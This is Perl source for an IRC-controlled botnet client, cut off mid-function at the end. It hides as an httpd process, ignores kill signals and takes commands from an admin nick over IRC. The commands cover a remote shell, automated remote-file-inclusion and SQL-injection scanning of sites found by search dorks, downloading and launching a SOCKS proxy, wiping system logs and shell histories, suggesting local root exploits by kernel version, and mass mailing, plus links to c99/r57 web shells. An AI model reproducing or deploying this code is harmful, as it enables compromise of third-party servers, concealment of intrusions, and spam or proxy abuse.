#################################### use HTTP::Request; use LWP::UserAgent; my $processo = 'usr/sbin/httpd'; my $linas_max='5'; my $sleep='10'; my $cmd="http://201.218.196.231/fastspread.txt?"; my $id="http://201.218.196.231/fastspread.txt?"; ############################################ my @adms=("chireo"); my @canais=("#chireox"); #Put your channel here my @nickname = ("XB0Tscan-"); my $nick = $nickname[rand scalar @nickname]; #Nickname of bot my $ircname ='ivil'; chop (my $realname = 'mack'); #IRC name and Realname $servidor='irc.indoirc.net' unless $servidor; my $porta='6667'; my $exploitcounter = 100; my @User_Agent = &Agent(); ############################################ $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; chdir("/"); #Connect $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "Masalah fork: $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } # select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^ delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.17 VooDoo\001"); } if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } #End of Connect if ($args =~ /^(\Q$meunick\E|\!x)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!x" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } ######################### End of prefix elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick|".int rand(999999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal $key"); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($funcarg =~ /^killme/) { sendraw($IRC_cur_socket, "QUIT :"); $killd = "kill -9 ".fork; system (`$killd`); } ###################### # Commands # ###################### if ($funcarg =~ /^hello/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] WAZaaaaaaaa !"); } if ($funcarg =~ /^c99/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] http://no-hack.net/shells/c99.txt !"); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] http://www.topnlpsites.com/images/gif/c99.txt !"); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] http://www.avramovic.info/razno/c99.txt !"); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] http://usuarios.lycos.es/lannetboy/shells/c99.txt !"); } if ($funcarg =~ /^r57/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] http://www.army5.com.br/r57.txt !"); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] http://www.id-nobody.com/shell/r57.txt !"); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] http://system-nemesis.us/shell/r57.txt !"); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] http://no-hack.net/shells/r57.txt !"); } if ($funcarg =~ /^md5 (.*)/) { $md5=$1; my @gdataonline=gdataonline($md5); my @cry=cry($md5); my @alim=alim($md5); my @xpz=xpz($md5); my @rend=rend($md5); my @ice=ice($md5); } sub ice(){ $hashget = LWP::UserAgent->new; $resp = $hashget->get("http://ice.breaker.free.fr/md5.php?hash=$md5"); # checks gdata for hash $hashans = $resp->content; if ($hashans =~ m/

- (.*?)


/g){ $crack = $1; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]ice.breaker.free.fr : $crack"); }else{ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]ice.breaker.free.fr : Hash Not Found."); } } sub rend(){ $hashget = LWP::UserAgent->new; $resp = $hashget->get("http://md5.rednoize.com/?p&s=md5&q=$md5"); # checks gdata for hash $hashans = $resp->content; if ($hashans =~ m/<(.*)/g){ $crack = $1; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]md5.rednoize.com : $crack"); }else{ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]md5.rednoize.com : Hash Not Found."); } } sub xpz(){ $hashget = LWP::UserAgent->new; $resp = $hashget->get("http://md5.xpzone.de/?string=".$md5."&mode=decrypt"); # checks gdata for hash $hashans = $resp->content; if ($hashans =~ m/Code: (.*)<\/b>
/g){ $crack = $1; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]md5.xpzone.de : $crack"); }else{ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]md5.xpzone.de : Hash Not Found."); } } sub ben(){ $hashget = LWP::UserAgent->new; $resp = $hashget->get("http://md5.benramsey.com/md5.php?hash=$md5"); # checks gdata for hash $hashans = $resp->content; if ($hashans =~ m/<\!\[CDATA\[(.+?)\]\]><\/string>/g){ $crack = $1; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]md5.benramsey.com : $crack"); }else{ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]md5.benramsey.com : Hash Not Found."); } } sub alim(){ $hashget = LWP::UserAgent->new; $resp = $hashget->get("http://alimamed.pp.ru/md5/?md5e=&md5d=$md5"); # checks gdata for hash $hashans = $resp->content; if ($hashans =~ m/(.+?)<\/b>/g){ $crack = $1; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]alimamed.pp.ru : $crack"); }else{ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]alimamed.pp.ru : Hash Not Found."); } } sub cry(){ $hashget = LWP::UserAgent->new; $resp = $hashget->get("http://us.md5.crysm.net/find?md5=$md5"); # checks gdata for hash $hashans = $resp->content; if ($hashans =~ m/
  • (.+?)<\/li>/g){ $crack = $1; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]us.md5.crysm.net : $crack"); }else{ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]us.md5.crysm.net : Hash Not Found."); } } sub gdataonline(){ $hashget = LWP::UserAgent->new; $resp = $hashget->get("http://gdataonline.com/qkhash.php?mode=txt&hash=$md5"); # checks gdata for hash $hashans = $resp->content; if ( $hashans =~ m\width="35%">([ -_a-z0-9.*?&=;<>/""]{1,25})\ ) { $crack = $1; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]gdataonline.com : $crack"); }else{ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]gdataonline.com : Hash Not Found"); } } if ($funcarg =~ /^milw0rm/) { my @ltt=(); my @bug=(); my $x; my $page=""; my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return; print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$socke>; $page="@r"; close($socke); while ($page =~ m/(.*)</g){ $x = $1; if ($x =~ /\<\;/) { $x =~ s/\<\;/</g; } if ($x !~ /milw0rm/) { push (@bug,$x); } } while ($page =~ m/<link.*expl.*([0-9]...)</g) { if ($1 !~ m/milw0rm.com|exploits|en/){ push (@ltt,"http://www.milw0rm.com/exploits/$1 "); } } sendraw($IRC_cur_socket, "PRIVMSG $printl :9 [Milw0rm] 9:.4 Latest exploits :"); foreach $x (0..(@ltt - 1)) { sendraw($IRC_cur_socket, "PRIVMSG $printl :9 [Milw0rm] 9:.4 $bug[$x] - $ltt[$x]"); sleep 1; } } ##################### # Chk The News PacketStorm# ###################### if ($funcarg =~ /^packetstorm/) { my $c=0; my $x; my @ttt=(); my @ttt1=(); my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return; print $sock "GET /whatsnew20.xml HTTP/1.0\r\n"; print $sock "Host: www.packetstormsecurity.org\r\n"; print $sock "Accept: */*\r\n"; print $sock "User-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$sock>; $page="@r"; close($sock); while ($page =~ m/<link>(.*)<\/link>/g) { push(@ttt,$1); } while ($page =~ m/<description>(.*)<\/description>/g) { push(@ttt1,$1); } foreach $x (0..(@ttt - 1)) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] ".$ttt[$x]." ".$ttt1[$x].""); sleep 3; $c++; } } ###################### #Auto Install Socks V5 using Mocks# ###################### if ($funcarg =~ /^socks5/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Installing Mocks please wait4"); system 'cd /tmp'; system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz'; system 'tar -xvfz mocks-0.0.2.tar.gz'; system 'rm -rf mocks-0.0.2.tar.gz'; system 'cd mocks-0.0.2'; system 'rm -rf mocks.conf'; system 'curl -O http://andromeda.covers.de/221/mocks.conf'; system 'touch mocks.log'; system 'chmod 0 mocks.log'; sleep(2); system './mocks start'; sleep(4); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Looks like its succesfully installed lets do the last things4 "); #lets grab ip $net = `/sbin/ifconfig | grep 'eth0'`; if (length($net)) { $net = `/sbin/ifconfig eth0 | grep 'inet addr'`; if (!length($net)) { $net = `/sbin/ifconfig eth0 | grep 'inet end.'`; } if (length($net)) { chop($net); @netip = split/:/,$net; $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/; $ip = $1 .".". $2 .".". $3 .".". $4; #and print it ^^ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Connect here ". $ip .":8787 "); } else { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] IP not founded "); } } else { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] ERROR WHILE INSTALLING MOCKS "); } } ###################### # Nmap # ###################### if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){ my $hostip="$1"; my $portstart = "$2"; my $portend = "$3"; my (@abertas, %porta_banner); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Port Scan $2-$3"); foreach my $porta ($portstart..$portend){ my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime); if ($scansock) { push (@abertas, $porta); $scansock->close; if ($xstats){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Port-Scan: $porta"."/Open"); } } } if (@abertas) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Port-Scan Complete "); } else { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] No open ports have been founded "); } } ###################### # End of Nmap # ###################### if ($funcarg =~ /^killproc\s+(\d+)/){ $proc=$1; open(FILE,"/tmp/pids"); while(<FILE>) { $_ =~ /(\d+)\s+(.*)/; $childs{$1}=$2; } close(FILE); if(defined $childs{$proc}) { delproc($proc); `kill -9 $proc`; sendraw($IRC_cur_socket, "PRIVMSG $printl : [Voo|Doo] Zabijam proces [ $proc ] "); } else { sendraw($IRC_cur_socket, "PRIVMSG $printl : [Voo|Doo] Niema takiego procesu "); } } # wyswietla procesy skanowania if ($funcarg =~ /^procslist/){ open(FILE,"/tmp/pids"); while(<FILE>) { $_ =~ /(\d+)\s+(.*)/; $childs{$1}=$2; } close(FILE); if(scalar keys %childs > 0) { for $klucz (keys %childs) { sendraw($IRC_cur_socket, "PRIVMSG $printl : [Voo|Doo] Proces [ $klucz ] By [ $childs{$klucz} ] "); } } else { sendraw($IRC_cur_socket, "PRIVMSG $printl : [Voo|Doo] Brak procesow"); } } ###################### # Log Cleaner # ###################### if ($funcarg =~ /^logcleaner/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Log Clean. This process can be long, just wait"); system 'rm -rf /var/log/lastlog'; system 'rm -rf /var/log/wtmp'; system 'rm -rf /etc/wtmp'; system 'rm -rf /var/run/utmp'; system 'rm -rf /etc/utmp'; system 'rm -rf /var/log'; system 'rm -rf /var/logs'; system 'rm -rf /var/adm'; system 'rm -rf /var/apache/log'; system 'rm -rf /var/apache/logs'; system 'rm -rf /usr/local/apache/log'; system 'rm -rf /usr/local/apache/logs'; system 'rm -rf /root/.bash_history'; system 'rm -rf /root/.ksh_history'; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Log Clean. All default log and bash_history files erased"); sleep 1; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Log Clean. Now Erasing the rest of the machine log files"); system 'find / -name *.bash_history -exec rm -rf {} \;'; system 'find / -name *.bash_logout -exec rm -rf {} \;'; system 'find / -name "log*" -exec rm -rf {} \;'; system 'find / -name *.log -exec rm -rf {} \;'; sleep 1; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Log Clean. Done! All logs erased"); } ###################### # End of Log Cleaner # ###################### ###################### # SQL SCANNER # ###################### if ($funcarg =~ /^sql2\s+(.*?)\s+(.*)\s+(\d+)/){ if (my $pid = fork) { waitpid($pid, 0); } else { if (my $d=fork()) { addproc($d,"[SQL2] $2"); exit; } else { my $bug=$1; my $dork=$2; my $contatore=0; my ($type,$space); my %hosts; my $columns=$3; &Find($dork); my @links = &GetLink(); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Stron : ".scalar(@links)); my @uni = &Unique(@links); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Wyczyszczono : ".scalar(@uni)); &Remove(); foreach my $sito (@uni) { $contatore++; if ($contatore==$uni-1){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo]End: $bug $chiave "); } my $site="http://".$sito.$bug; #sendraw($IRC_cur_socket, "PRIVMSG $printl :Sprawdzam: $site cols: $columns "); $w=int rand(999); $w=$w*1000; for($i=1;$i<=$columns;$i++) { splice(@col,0,$#col+1); for($j=1;$j<=$i;$j++) { push(@col,$w+$j); } $tmp=join(",",@col); $test=$site."-1+UNION+SELECT+".$tmp."/*"; print $test."\n"; $result=&Query($test,"3"); $result =~ s/\/\*\*\///g; $result =~ s/UNION([^(\*)]*)//g; for($k=1;$k<=$i;$k++) { $n=$w+$k; if($result =~ /$n/){ splice(@col2,0,$#col2+1); for($s=1;$s<=$i;$s++) { push(@col2,$s); } $tmp2=join(",",@col2); $test2="+UNION+SELECT+".$tmp2."/*"; push @{$dane{$test2}},$k; } } } for $klucz (keys %dane) { foreach $i(@{$dane{$klucz}}) { $klucz =~ s/$i/$i/; } $ssij = $site."-1".$klucz; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] ".$ssij." "); my $ua = LWP::UserAgent->new(); $ua->agent('Mozilla/5.0'); my %form = ('sqlbug' => $ssij,); my $response = $ua->post('http://showtime.boo.pl/index.php', \%form); } %dane=(); #sendraw($IRC_cur_socket, "PRIVMSG @zut :[Voo|Doo] End. "); } } delproc($$); exit; } } } ####### SQL SCANNER ######### if ($funcarg =~ /^string\s+(.*)\s+http\:\/\/(.*?)\/(.*?)\s+(\d+)/){ if (my $pid = fork) { waitpid($pid, 0); } else { if (my $d=fork()) { addproc($d,"[String] $2"); exit; } else { $kto = $1; $host = $2; $skrypt = $3; $czekac=$4; #http://ttl.ugu.pl/string/index.php my $socke = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp") or return; print $socke "GET /$skrypt HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$socke>; $page="@r"; $page =~ s/!scan(\s+)//g; $page =~ s/!scan(.)//g; $page =~ s/\<.*\>//g; @lines = split (/\n/, $page); $ile=scalar(@lines); for($i=9;$i<=$ile;$i+=4) { for($j=0;$j<4;$j++) { #print $lines[$i+$j]."\n"; sendraw($IRC_cur_socket, "PRIVMSG $printl :$kto $lines[$i+$j]"); sleep 10; } sleep $czekac*60; } } delproc($$); exit; } } ####### SQL SCANNER ######### if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/){ if (my $pid = fork()) { waitpid($pid, 0); } else { if (my $d=fork()) { addproc($d,"[SQL1] $1 $2"); exit; } else { my $site=$1; my $columns=$2; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Sql [Testing]: $site cols: $columns "); $w=int rand(999); $w=$w*1000; for($i=1;$i<=$columns;$i++) { splice(@col,0,$#col+1); for($j=1;$j<=$i;$j++) { push(@col,$w+$j); } $tmp=join(",",@col); $test=$site.$bug."-1'+UNION+SELECT+".$tmp."/*"; #$result=query($test); $result=get_html($test); $result =~ s/\/\*\*\///g; $result =~ s/UNION([^(\*)]*)//g; for($k=1;$k<=$i;$k++) { $n=$w+$k; if($result =~ /$n/){ splice(@col2,0,$#col2+1); for($s=1;$s<=$i;$s++) { push(@col2,$s); } $tmp2=join(",",@col2); $test2="+UNION+SELECT+".$tmp2."/*"; push @{$dane{$test2}},$k; } } } for $klucz (keys %dane) { foreach $i(@{$dane{$klucz}}) { $klucz =~ s/$i/$i/; } sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Sql [Sql-Bug]: ".$site.$bug."-1".$klucz." "); } # sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Koniec 4 ] "); } delproc($$); exit; } } ####### SQL SCANNER ######### ###################### # Rootable # ###################### if ($funcarg =~ /^rootable/) { my $khost = `uname -r`; my $currentid = `whoami`; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Currently you are ".$currentid." "); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] The kernel of this box is ".$khost." "); chomp($khost); my %h; $h{'w00t'} = { vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20'] }; $h{'brk'} = { vuln=>['2.4.22','2.4.21','2.4.10','2.4.20'] }; $h{'ave'} = { vuln=>['2.4.19','2.4.20'] }; $h{'elflbl'} = { vuln=>['2.4.29'] }; $h{'elfdump'} = { vuln=>['2.4.27'] }; $h{'expand_stack'} = { vuln=>['2.4.29'] }; $h{'h00lyshit'} = { vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2'] }; $h{'kdump'} = { vuln=>['2.6.13'] }; $h{'km2'} = { vuln=>['2.4.18','2.4.22'] }; $h{'krad'} = { vuln=>['2.6.11'] }; $h{'krad3'} = { vuln=>['2.6.11','2.6.9'] }; $h{'local26'} = { vuln=>['2.6.13'] }; $h{'loko'} = { vuln=>['2.4.22','2.4.23','2.4.24'] }; $h{'mremap_pte'} = { vuln=>['2.4.20','2.2.25','2.4.24'] }; $h{'newlocal'} = { vuln=>['2.4.17','2.4.19','2.4.18'] }; $h{'ong_bak'} = { vuln=>['2.4.','2.6.'] }; $h{'ptrace'} = { vuln=>['2.2.','2.4.22'] }; $h{'ptrace_kmod'} = { vuln=>['2.4.2'] }; $h{'ptrace24'} = { vuln=>['2.4.9'] }; $h{'pwned'} = { vuln=>['2.4.','2.6.'] }; $h{'py2'} = { vuln=>['2.6.9','2.6.17','2.6.15','2.6.13'] }; $h{'raptor_prctl'} = { vuln=>['2.6.13','2.6.17','2.6.16','2.6.13'] }; $h{'prctl3'} = { vuln=>['2.6.13','2.6.17','2.6.9'] }; $h{'remap'} = { vuln=>['2.4.'] }; $h{'rip'} = { vuln=>['2.2.'] }; $h{'stackgrow2'} = { vuln=>['2.4.29','2.6.10'] }; $h{'uselib24'} = { vuln=>['2.4.29','2.6.10','2.4.22','2.4.25'] }; $h{'newsmp'} = { vuln=>['2.6.'] }; $h{'smpracer'} = { vuln=>['2.4.29'] }; $h{'loginx'} = { vuln=>['2.4.22'] }; $h{'exp.sh'} = { vuln=>['2.6.9','2.6.10','2.6.16','2.6.13'] }; $h{'prctl'} = { vuln=>['2.6.'] }; $h{'kmdx'} = { vuln=>['2.6.','2.4.'] }; $h{'raptor'} = { vuln=>['2.6.13','2.6.14','2.6.15','2.6.16'] }; $h{'raptor2'} = { vuln=>['2.6.13','2.6.14','2.6.15','2.6.16'] }; foreach my $key(keys %h){ foreach my $kernel ( @{ $h{$key}{'vuln'} } ){ if($khost=~/^$kernel/){ chop($kernel) if ($kernel=~/.$/); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Possible Local Root Exploits: ". $key ." "); } } } } ###################### # MAILER # ###################### if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Mailer | Sending Mail to : 2 $3"); $subject = $1; $sender = $2; $recipient = $3; @corpo = $4; $mailtype = "content-type: text/html"; $sendmail = '/usr/sbin/sendmail'; open (SENDMAIL, "| $sendmail -t"); print SENDMAIL "$mailtype\n"; print SENDMAIL "Subject: $subject\n"; print SENDMAIL "From: $sender\n"; print SENDMAIL "To: $recipient\n\n"; print SENDMAIL "@corpo\n\n"; close (SENDMAIL); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Mailer | Mail Sent To : 2 $recipient"); } ###################### # End of MAILER # ###################### my $responselfi = "./../../../../../../../../etc/passwd"; my $printcmdlfi = "./../../../../../../../../etc/passwd"; if ($funcarg =~ /^auto\s+(.*?)\s+(.*)/){ if(fork() == 0){ if (my $d=fork()) { addproc($d,"[Autoscan] $2"); exit; } my($bug,$dork)=($1,$2); &autoscan($bug,$dork); delproc($$); exit(0); } } sub autoscan(){ my @domini = &SiteDomains(); my($bug,$dork)=@_; $dork =~ s/[\r\n]//g; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Scan Start ".$dork); if($dork =~ /site:/){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Zakazany Dork."); exit(0); } foreach my $Domains(@domini){ my $auto_dork = $dork."+site:".$Domains; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Skanuje :".$auto_dork); &Find($auto_dork); &Test($bug); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Scan End: ".$dork); } } sub Find(){ my $dork = $_[0]; my @proc; $proc[0] = fork(); if($proc[0] == 0){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Google : ".scalar(&Google($dork))); exit; } $proc[1] = fork(); if($proc[1] == 0){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Yahoo : ".scalar(&Yahoo($dork))); exit; } $proc[2] = fork(); if($proc[2] == 0){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Baidu : ".scalar(&baidu($dork))); exit; } $proc[3] = fork(); if($proc[3] == 0){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Gigablast : ".scalar(&Gigablast($dork))); exit; } $proc[4] = fork(); if($proc[4] == 0){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Msn : ".scalar(&MSN($dork))); exit; } $proc[5] = fork(); if($proc[5] == 0){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Aol : ".scalar(&Aol($dork))); exit; } $proc[6] = fork(); if($proc[6] == 0){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] AltaVista : ".scalar(&AltaVista($dork))); exit; } $proc[7] = fork(); if($proc[7] == 0){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Alltheweb : ".scalar(&Alltheweb($dork))); exit; } $proc[8] = fork(); if($proc[8] == 0){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Fireball : ".scalar(&fire($dork))); exit; } $proc[9] = fork(); if($proc[9] == 0){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Uol : ".scalar(&UOL($dork))); exit; } waitpid($proc[0],0); waitpid($proc[1],0); waitpid($proc[2],0); waitpid($proc[3],0); waitpid($proc[4],0); waitpid($proc[5],0); waitpid($proc[6],0); waitpid($proc[7],0); waitpid($proc[8],0); waitpid($proc[9],0); } sub Test(){ my $counter = 0; my $bug = $_[0]; my @links = &GetLink(); my $test = "http://201.218.196.231/fastspread.txt?"; my $response = "http://201.218.196.231/fastspread.txt?"; my $printcmd = "RFI?"; my @forks; my $forked++; sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Stron : ".scalar(@links)); my @uni = &Unique(@links); sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Wyczyszczono : ".scalar(@uni)); &Remove(); my $testx = scalar(@uni); my $startx = 0; foreach my $site (@uni){ $counter++; my $link = "http://".$site.$bug.$test."?"; my $responser = "http://".$site.$bug.$response."?"; print($link."\n"); # Prints test links in terminal if($counter %$exploitcounter == 0){ my $start = 0; foreach my $f(@forks){ waitpid($f,0); $forks[$start--]; $start++; } $startx = 0; } $forks[$startx]=fork(); if($forks[$startx] == 0){ my $htmlsite = &Query($link,"3"); if($htmlsite =~ /kangkung/){ my $responsing = &Query($responser,"3"); if($responsing =~ /kangkung/){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Safe Off : "."http://".$site.$bug.$printcmd); }} elsif($htmlsite =~ /kangkung/){ sendraw($IRC_cur_socket, "PRIVMSG $printl :[Voo|Doo] Safe Onn : "."http://".$site.$bug.$printcmd); } exit(0); } if($counter %150 == 0){ # &message($channel,"BanTeNHacK SabaR.. lg NyaRi 12kNd 3->  ".$counter." dari ".$testx); } $startx++; } my $start = 0; foreach my $f(@forks){ waitpid($f,0); $forks[$start--]; $start++; } } sub SiteDomains(){ my @dom = ( "de","nl","be","dk","sk","com","net","org", "info","uk","se","it","fr","hu","pl","ru", "ro","be","cz","edu","jp" ); } sub Google(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=100; my $max=100*10; my @dom = &GoogleDomains(); my $file = "/tmp/google.txt"; my $html; my @result; for($start=0;$start < $max; $start += $num){ my $Domains = $dom[rand(scalar(@dom))]; $html.=&Query("http://www.google.".$Domains."/search?q=".$dork."&num=".$num."&sa=N&filter=0&start=".$start); } while($html =~ m/<h2 class=r><a href=\"http:\/\/(.+?)\"\ class/g){ $1 =~ /google/ || push(@result,&Links($1,$file)); } return(@result); } sub Yahoo(){ my($dork)=@_; $dork=&Key($dork); my $start; my $num=100; my $max=100*10; my $file = "/tmp/yahoo.txt"; my $html; my @result; for($start=0;$start < $max; $start += $num){ $html.=&Query("http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=SiteSearch&query=".$dork."&results=".$num."&start=".$start); } while($html =~ m/<Url>http:\/\/(.+?)\<\/Url>/g){ $1 =~ /yahoo/ || push(@result,&Links($1,$file)); } return(@result); } sub baidu(){ my @lst; my $key = $_[0]; my $pg = 0; for($i=0; $i<=1000; $i+=10){ my 